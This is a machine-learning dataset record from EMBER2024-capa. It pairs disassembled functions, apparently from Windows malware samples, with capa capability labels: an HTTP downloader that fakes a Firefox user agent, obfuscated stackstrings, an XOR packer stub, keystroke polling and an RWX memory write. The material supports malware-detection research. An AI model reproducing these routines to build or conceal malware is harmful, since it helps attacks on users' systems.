joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a628c
Capabilities:
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a6395
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, 0x4a63ac
mov dl, 8
mov eax, ebx
call fcn.004a67f8
test byte [ebx + 0x1c], 0x10
setne al
xor al, 1
and al, byte [0x4b9bbc]
je 0x4a637f
xor eax, eax
push ebp
push 0x4a635f
push dword fs:[eax]
mov dword fs:[eax], esp
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffff
jbe 0x4a62f5
call fcn.00403c78
mov word [ebx + 0x10110], si
mov word [ebp - 4], 0
mov word [ebp - 2], 0
push 4
lea eax, [ebp - 4]
push eax
push 0x80
push 0xff7f
movzx eax, si
push eax
call sub.wsock32.dll_setsockopt
cmp word [ebx + 0x10110], 0xffff
jne 0x4a633a
lea ecx, [ebp - 8]
mov dx, 0x2733
mov eax, ebx
call fcn.004a672c
push 0x3f
push 0x465
mov eax, dword [ebx + 0x10114]
push eax
movzx eax, word [ebx + 0x10110]
push eax
call sub.wsock32.dll_WSAAsyncSelect
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a637f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a639c
lea eax, [ebp - 8]
call fcn.00404ba8
ret

Function at 0x4a6678
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov ecx, 0x4a6714
mov dl, 4
mov eax, ebx
call fcn.004a67f8
mov byte [ebx + 0x10118], 0
mov ax, word [ebx + 0x10110]
cmp ax, 0xffff
je 0x4a6706
movzx eax, ax
push eax
call sub.wsock32.dll_closesocket
test byte [ebx + 0x1c], 8
jne 0x4a66c5
cmp word [ebx + 0x1005a], 0
je 0x4a66c5
mov edx, ebx
mov eax, dword [ebx + 0x1005c]
call dword [ebx + 0x10058]
cmp byte [ebx + 0x10099], 0
jne 0x4a6706
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
cmp esi, 0xffff
jbe 0x4a66e8
call fcn.00403c78
mov word [ebx + 0x10110], si
push 0x3d
push 0x465
mov eax, dword [ebx + 0x10114]
push eax
movzx eax, si
push eax
call sub.wsock32.dll_WSAAsyncSelect
pop esi
pop ebx
ret
Function at 0x4a68a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x100b8]
cmp dword [eax + 4], 0
setg byte [ebp - 5]
cmp byte [ebp - 5], 0
jne 0x4a6964
push 2
push 1
lea eax, [ebp - 6]
push eax
mov eax, dword [ebp - 4]
movzx eax, word [eax + 0x10110]
push eax
call sub.wsock32.dll_recv
test eax, eax
jle 0x4a68f1
mov byte [ebp - 5], 1
mov eax, dword [ebp - 4]
call fcn.004a6624
jmp 0x4a6964
test eax, eax
jne 0x4a6964
mov byte [ebp - 5], 1
xor eax, eax
push ebp
push 0x4a692d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax + 0x10118], 0
je 0x4a6923
mov eax, dword [ebp - 4]
call fcn.004a6970
mov eax, dword [ebp - 4]
call fcn.004a6678
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a6937
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x10034]
call fcn.004320b8
mov eax, dword [ebp - 4]
cmp word [eax + 0x1005a], 0
je 0x4a6964
mov ebx, dword [ebp - 4]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0x1005c]
call dword [ebx + 0x10058]
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4a6970
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push eax
mov eax, 0x10
add esp, 0xfffff004
push eax
dec eax
jne 0x4a6977
mov eax, dword [esp + 0x10000]
mov ebx, eax
mov ecx, 0x4a69c4
mov dl, 8
mov eax, ebx
call fcn.004a67f8
push 0
push 0x10000
lea eax, [esp + 8]
push eax
movzx eax, word [ebx + 0x10110]
push eax
call sub.wsock32.dll_recv
add esp, 0x10004
pop ebx
ret
Function at 0x4ad14c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], eax
mov esi, 0x4b6600
xor eax, eax
push ebp
push 0x4ad355
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4b6610]
call fcn.004094e4
mov dword [esi], eax
xor ebx, ebx
lea eax, [ebp - 0x420]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
push 0x4ad364
lea eax, [ebp - 0x420]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [0x4b6c18]
mov byte [eax], 0
lea edx, [ebp - 0x424]
xor eax, eax
call fcn.00402ef8
mov edx, dword [ebp - 0x424]
lea eax, [ebp - 0x154]
call fcn.00403290
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403710
call fcn.00402cb4
mov eax, dword [0x4b6c18]
mov byte [eax], 1
mov eax, dword [0x4b65f8]
add eax, dword [0x4b65fc]
mov edx, eax
lea eax, [ebp - 0x154]
call fcn.00403738
call fcn.00402cb4
xor edx, edx
push ebp
push 0x4ad2f7
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x428]
lea edx, [ebp - 0x420]
mov ecx, pe_nt_image_headers32
call fcn.00404e18
mov edx, dword [ebp - 0x428]
lea eax, [ebp - 0x2a0]
call fcn.00403290
mov edx, 1
lea eax, [ebp - 0x2a0]
call fcn.0040372c
call fcn.00402cb4
mov eax, dword [0x4b6b20]
mov eax, dword [eax]
call fcn.004623ac
mov eax, dword [esi]
sub eax, ebx
cmp eax, 0x80
jge 0x4ad287
lea edx, [ebp - 4]
push edx
mov ecx, eax
lea edx, [ebp - 0x320]
lea eax, [ebp - 0x154]
call fcn.004033e8
call fcn.00402cb4
jmp 0x4ad2a6
lea eax, [ebp - 4]
push eax
lea edx, [ebp - 0x320]
mov ecx, 0x80
lea eax, [ebp - 0x154]
call fcn.004033e8
call fcn.00402cb4
lea eax, [ebp - 8]
push eax
lea edx, [ebp - 0x320]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x2a0]
call fcn.00403408
call fcn.00402cb4
add ebx, 0x80
cmp ebx, dword [esi]
jge 0x4ad2d9
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
je 0x4ad252
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ad2fe
lea eax, [ebp - 0x2a0]
call fcn.00403428
call fcn.00402cb4
ret
Function at 0x6d341310
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push edi
push esi
mov ecx, 0x1c
push ebx
xor ebx, ebx
mov eax, ebx
sub esp, 0x200
lea edi, [esp + 0x64]
mov dword [esp + 0x3e], 0x5a613f48
mov dword [esp + 0x42], 0x78776a78
mov dword [esp + 0x46], 0x677a5561
mov dword [esp + 0x4a], 0x61686e71
lea esi, [esp + 0x3e]
mov dword [esp + 0x4e], 0x77676e51
mov dword [esp + 0x52], 0x6a6e7766
mov dword [esp + 0x56], 0x746e6178
mov dword [esp + 0x5a], 0x736e7161
mov dword [esp + 0x5e], 0x70
mov dword [esp + 0x62], 0
mov dword [esp + 0xd0], 0
rep stosd dword es:[edi], eax
mov dword [esp], esi
lea edi, [esp + 0x188]
call fcn.6d3412d0
mov dword [esp + 4], esi
lea esi, [esp + 0xd4]
mov dword [esp], esi
call sub.msvcrt.dll_strcpy
mov eax, ebx
mov ecx, 0x1e
mov dword [esp + 0x16a], 0x796b7478
mov dword [esp + 0x16e], 0x6a706679
mov dword [esp + 0x172], 0x36393273
lea ebx, [esp + 0x16a]
mov dword [esp + 0x176], 0x693a7874
mov dword [esp + 0x17a], 0x67336e77
mov dword [esp + 0x17e], 0x77336639
mov dword [esp + 0x182], 0x737a
mov dword [esp + 0x186], 0
mov dword [esp + 0x1fc], 0
rep stosd dword es:[edi], eax
mov dword [esp], ebx
call fcn.6d3412d0
mov dword [esp + 4], ebx
mov dword [esp], 0x6d346160
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x6d34407b
mov dword [esp], esi
call sub.msvcrt.dll_fopen
test eax, eax
je 0x6d34148c
lea esi, [esp + 0x1b]
mov dword [esp + 4], str.___n_
mov dword [esp], eax
mov ebx, eax
mov dword [esp + 8], esi
call sub.msvcrt.dll_fscanf
mov dword [esp + 8], esi
mov dword [esp + 4], str._nui10euids__s
mov dword [esp], 0x6d3460c0
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
add esp, 0x200
pop ebx
pop esi
pop edi
ret
mov dword [esp], 1
call sub.msvcrt.dll_exit
nop
lea esi, [esi]

Function at 0x6d3414a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push edi
push ebx
sub esp, 0xb4
mov dword [esp], 0x7d0
call sub.KERNEL32.dll_Sleep
sub esp, 4
xor eax, eax
mov ecx, 0x1c
lea edi, [esp + 0x40]
mov dword [esp + 0x1a], 0x5a613f48
mov dword [esp + 0x1e], 0x78776a78
mov dword [esp + 0x22], 0x677a5561
mov dword [esp + 0x26], 0x61686e71
lea ebx, [esp + 0x1a]
mov dword [esp + 0x2a], 0x77676e51
mov dword [esp + 0x2e], 0x6a6e7766
mov dword [esp + 0x32], 0x746e6178
mov dword [esp + 0x36], 0x33746e61
mov dword [esp + 0x3a], 0x717169
mov dword [esp + 0x3e], 0
mov dword [esp + 0xac], 0
rep stosd dword es:[edi], eax
mov dword [esp], ebx
call fcn.6d3412d0
mov dword [esp + 4], ebx
mov dword [esp], 0x6d346020
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x6d34407b
mov dword [esp], 0x6d346020
call sub.msvcrt.dll_fopen
test eax, eax
je 0x6d341598
mov ebx, eax
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
call sub.msvcrt.dll_ftell
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_fclose
cmp edi, 0x1387
jle 0x6d341590
add esp, 0xb4
pop ebx
pop edi
ret
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
call fcn.6d341310
call fcn.6d3415b0
add esp, 0xb4
pop ebx
pop edi
ret
Function at 0x6d3415b0
Capabilities:
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0xcc
mov dword [esp], 0x3a980
call sub.KERNEL32.dll_Sleep
sub esp, 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.FireFox_14.0.09
call sub.WININET.dll_InternetOpenA
sub esp, 0x14
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 3
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1bb
mov dword [esp + 4], 0x6d346160
mov dword [esp], eax
mov dword [esp + 0x28], eax
call sub.WININET.dll_InternetConnectA
sub esp, 0x20
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0x800000
mov dword [esp + 0x14], 0x6d3440a2
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6d3460c0
mov dword [esp + 4], 0x6d3440a7
mov dword [esp], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], 0x4a03100
call sub.WININET.dll_HttpOpenRequestA
sub esp, 0x20
mov ebx, eax
lea eax, [esp + 0x38]
mov dword [esp + 0xc], 5
mov dword [esp + 4], 0x1f
mov dword [esp], ebx
mov dword [esp + 8], eax
call sub.WININET.dll_InternetSetOptionA
sub esp, 0x10
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.WININET.dll_HttpSendRequestA
sub esp, 0x14
mov dword [esp + 4], 0x6d3440ab
mov dword [esp], 0x6d346020
lea ebp, [esp + 0x3c]
lea esi, [esp + 0x40]
call sub.msvcrt.dll_fopen
mov edi, eax
lea esi, [esi]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], pe_nt_image_headers32
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.WININET.dll_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x6d341727
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x6d341770
mov dword [esp], edi
call sub.msvcrt.dll_fclose
mov dword [esp], ebx
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x28]
mov dword [esp], eax
call sub.WININET.dll_InternetCloseHandle
sub esp, 4
call fcn.6d3414a0
add esp, 0xcc
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0xc], edi
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call sub.msvcrt.dll_fwrite
jmp 0x6d341700

Function at 0x6d341980
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6d34621c
call sub.KERNEL32.dll_EnterCriticalSection
mov ebx, dword [0x6d346214]
sub esp, 4
test ebx, ebx
je 0x6d3419cb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sub.KERNEL32.dll_TlsGetValue
sub esp, 4
mov esi, eax
call sub.KERNEL32.dll_GetLastError
test eax, eax
jne 0x6d3419c4
test esi, esi
je 0x6d3419c4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6d3419a0
mov dword [esp], 0x6d34621c
call sub.KERNEL32.dll_LeaveCriticalSection
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6d341bb0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6d3440bc
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.6d341ec0
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x6d341c00
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x6d341cd8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6d341c3e
cmp eax, 4
jne 0x6d341c60
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sub.msvcrt.dll_memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6d341c4e
cmp edx, 4
je 0x6d341c4e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6d341bb0

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x53764133
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x709a72a7
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x1000f1de
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10060b49
call fcn.10060628
sub esp, 0xc
push ebx
push esi
mov dword [ebp - 0x18], 0x2ed5
cmp dword [ebp - 0x18], 0x2ff9
push edi
mov dword [ebp - 0x10], esp
jle 0x1000f256
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor esi, esi
xor edi, edi
xor ebx, ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov eax, ebx
cdq
idiv ecx
mov ecx, 0x10609ad8
xor edx, edi
or edx, esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000f5cf
mov ecx, dword [ebp - 0x14]
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x887
jl 0x1000f214
inc ebx
cmp ebx, 0x7deb
jl 0x1000f20f
inc edi
cmp edi, 0x34f5
jl 0x1000f20d
inc esi
cmp esi, 0x6ef3
jl 0x1000f20b
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x2b37
jge 0x1000f272
mov edx, 0x10007a20
mov ecx, 0x10609ad8
call fcn.10011079
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
xor edx, edx
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000f2a1
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10060b53
call fcn.10060628
sub esp, 0x10
push ebx
push esi
mov dword [ebp - 0x1c], 0x4c15
cmp dword [ebp - 0x1c], 0x4cfe
push edi
mov dword [ebp - 0x10], esp
jle 0x1000f310
xor esi, esi
mov dword [ebp - 0x18], esi
xor ebx, ebx
mov dword [ebp - 0x14], 0x283d
xor edi, edi
xor esi, esi
lea eax, [esi + edi]
mov ecx, 0x10609ad8
xor eax, ebx
cdq
push edx
push eax
call fcn.1000f5cf
inc esi
cmp esi, 0x67db
jl 0x1000f2d6
inc edi
cmp edi, 0x7d62
jl 0x1000f2d4
mov esi, dword [ebp - 0x18]
add ebx, esi
dec dword [ebp - 0x14]
jne 0x1000f2d2
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x609d
jl 0x1000f2c9
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x4897
jge 0x1000f32c
mov edx, 0x10007aa4
mov ecx, 0x10609ad8
call fcn.10011079
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001a857
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001a888
push 0x7cae
push 0x54ab
push 0x7143
push 0x13ef
push 0x52de
push 1
call fcn.1001a8ae
add esp, 0x18
jmp 0x1001a8aa
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1001a8a2
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1001a8aa
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esp, ebp
pop ebp
ret
Function at 0x1001d6ee
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1001d73c
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1001d730
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1001d72e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
jmp 0x1001d73a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x1001d759
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
push 0xa49
push 1
push 0x79e9
push dword [ebp - 0x14]
call fcn.10019575
add esp, 0x10
mov esp, ebp
pop ebp
ret
Function at 0x1001f3a7
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060ff3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x4c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001f421
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x1001f3f8
push 0x13bb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
jmp 0x1001f41c
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
movzx eax, byte [eax]
test eax, eax
je 0x1001f41c
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x1001f53d
mov dword [ebp - 0x24], 0x79ac
mov dword [ebp - 0x3c], 0x100093a0
cmp dword [ebp - 0x24], 0x7b98
jle 0x1001f4f9
push 0x73a
push 0x7b5
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
and dword [ebp - 0x20], 0
jmp 0x1001f45b
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x2554
jge 0x1001f4f9
and dword [ebp - 0x14], 0
jmp 0x1001f475
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x76e3
jge 0x1001f4f4
and dword [ebp - 0x18], 0
jmp 0x1001f48b
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x43cc
jge 0x1001f4ef
and dword [ebp - 0x1c], 0
jmp 0x1001f4a1
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x6340
jge 0x1001f4ed
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x18]
cdq
idiv dword [ebp - 0x1c]
xor edx, dword [ebp - 0x20]
mov eax, edx
cdq
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
push dword [ebp - 0x40]
push dword [ebp - 0x44]
lea ecx, [ebp - 0x5c]
call fcn.1000d000
pop ecx
pop ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
call fcn.1000f5af
push eax
call fcn.1004b356
pop ecx
lea ecx, [ebp - 0x5c]
call fcn.1000f5a5
jmp 0x1001f49a
jmp 0x1001f484
jmp 0x1001f46e
jmp 0x1001f454
push 1
call fcn.1001a344
pop ecx
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x7816
jge 0x1001f517
push dword [ebp - 0x3c]
call fcn.1004b356
pop ecx
jmp 0x1001f533
or dword [ebp - 4], 0xffffffff
jmp 0x1001f53d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002a8e2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1002a913
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push 0x3e6e
push dword [ebp - 4]
push 1
push dword [ebp - 8]
call fcn.1002a964
add esp, 0x10
jmp 0x1002a960
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1002a949
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x1002a947
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1002a960
push 0x2208
push 0x1dd4
push 0x20f7
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
mov esp, ebp
pop ebp
ret
Function at 0x1002c731
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061313
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1002c8b7
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax]
test eax, eax
je 0x1002c78b
push 0x2299
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
jmp 0x1002c8b5
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], 0x704b
mov dword [ebp - 0x40], 0x1000a218
cmp dword [ebp - 0x28], 0x734e
jle 0x1002c83c
and dword [ebp - 0x20], 0
jmp 0x1002c7c5
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x179
jge 0x1002c83c
and dword [ebp - 0x18], 0
jmp 0x1002c7db
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x536f
jge 0x1002c83a
and dword [ebp - 0x1c], 0
jmp 0x1002c7f1
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x505a
jge 0x1002c838
and dword [ebp - 0x24], 0
jmp 0x1002c807
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x77a7
jge 0x1002c836
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x24]
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
mov ecx, 0x10609ad8
call fcn.1000f5cf
jmp 0x1002c800
jmp 0x1002c7ea
jmp 0x1002c7d4
jmp 0x1002c7be
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x44], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0x7038
jge 0x1002c85c
mov edx, dword [ebp - 0x40]
mov ecx, 0x10609ad8
call fcn.10011079
jmp 0x1002c878
or dword [ebp - 4], 0xffffffff
jmp 0x1002c882
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
jmp 0x1002c898
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 2
jge 0x1002c8b5
mov eax, dword [ebp - 0x14]
push dword [eax]
mov ecx, dword [ebp - 0x44]
call fcn.1000f782
mov dword [eax], 0xfffffffb
jmp 0x1002c88d
jmp 0x1002c8d4
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x48], eax
push 1
push dword [ebp - 0x48]
push 0x2d95
push 0x5da8
call fcn.1002aab6
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret